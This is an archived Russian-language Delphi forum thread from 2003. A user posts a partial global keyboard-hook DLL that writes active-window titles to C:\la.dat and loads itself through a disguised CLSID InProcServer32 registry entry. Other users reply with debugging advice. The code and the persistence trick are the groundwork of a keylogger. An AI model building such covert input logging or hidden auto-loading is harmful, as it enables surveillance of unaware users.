Главная страница
Top.Mail.Ru    Яндекс.Метрика
Текущий архив: 2003.09.22;
Скачать: CL | DM;

Вниз

Hook + Dll   Найти похожие ветки 

 
bloodman ©   (2003-07-19 03:13) [0]

Здравствуйте мастера!В моей программе нужно перехватывать сообщения клавиатуры.Делаю так:
var
KHook: HHOOK;
Wind:HWND;
....
function KProc(Code: integer; wParam: Word; lParam: LongInt): LongInt; stdcall;
const
KState: integer = $40000000;
var
Symb: ShortString;
KL: array [0..8] of Char;
WindCaption: array [0..150] of Char;
FStruct: TOFSTRUCT;
F: TextFile;
begin
if not (Code=HC_ACTION) then
begin
Result:=CallNextHookEx(KHook, code, wParam, lParam);
Exit;
end;
if (lParam and KState) <> 0 then
begin
Result:=CallNextHookEx(KHook, code, wParam, lParam);
Exit;
end;
AssignFile(F,"C:\la.dat");
if OpenFile(PChar("C:\la.dat"), FStruct, OF_EXIST) = HFILE_ERROR then
begin
ReWrite(F);
end
else Append(F);
if Wind <> GetActiveWindow then
begin
Wind:=GetActiveWindow;
GetWindowText(Wind, @WindCaption, 150);
WriteLn(F," [Handle of Hook IS:",KHook,"]");
WriteLn(F, "["," ",WindCaption,"]");
CloseFile(F);
end;

А DLL регистрирую с помощью InProcServer : прописывую в реестре
HCR\CLSID\{00000005-0051-0400-0702-000000010507}\InProcServer32"
ключ с именем dll"ки.
все регистрируется и работает НО не правильно:
Если изменяется ХЕНДЛ активного окна , то DLL"ка запускается заново! Т.е работают уже 2 копии функции и данные дублируются.
Если опять сменится ХЕНДЛ , то запускается еще одна копия и т.д. :((
Как это можно исправить???

Заранее спасибо.


 
Song ©   (2003-07-19 11:16) [1]

Устанавливай хук сам.


 
bloodman ©   (2003-07-19 14:10) [2]

Всмысле сам? Мне нужно, чтобы dll было самостоятельным элементом программы и работала независимо.


 
nikkie ©   (2003-07-19 16:23) [3]

1. hook dll загружается в контекст каждого процесса
2. следовательно просто открывать и писать в файл в dll нехорошо
3. зачем ты пишешь что-то в реестр вообще не понятно.


 
bloodman ©   (2003-07-20 00:24) [4]

1 Понятно.
2 А как ты предлагаешь? (подскажи , если есть идеи плз.)
3 В реестр я пишу для того чтобы система загружала dll в память и обрабатывала хук.

Подскажите плиз .


 
bloodman ©   (2003-07-21 02:22) [5]

А на Win9x вообще ошибку выдает :( МАСТЕРА где же вы???



Страницы: 1 вся ветка

Текущий архив: 2003.09.22;
Скачать: CL | DM;

Наверх




Память: 0.47 MB
Время: 0.036 c
14-71899
Dark Elf
2003-09-03 15:58
2003.09.22
Добавление оглавления в chm-файл


14-71826
Anatoly Podgoretsky
2003-08-31 00:23
2003.09.22
Очередная, третья перепись населения


1-71735
WeCom.WS
2003-09-09 19:40
2003.09.22
проблема с Тулбарами MS Word а в OleContainer е


1-71656
TroianOFF
2003-09-08 15:48
2003.09.22
Плавное появление формы


6-71814
Ренат
2003-07-24 11:43
2003.09.22
Прервать передачу файла по FTP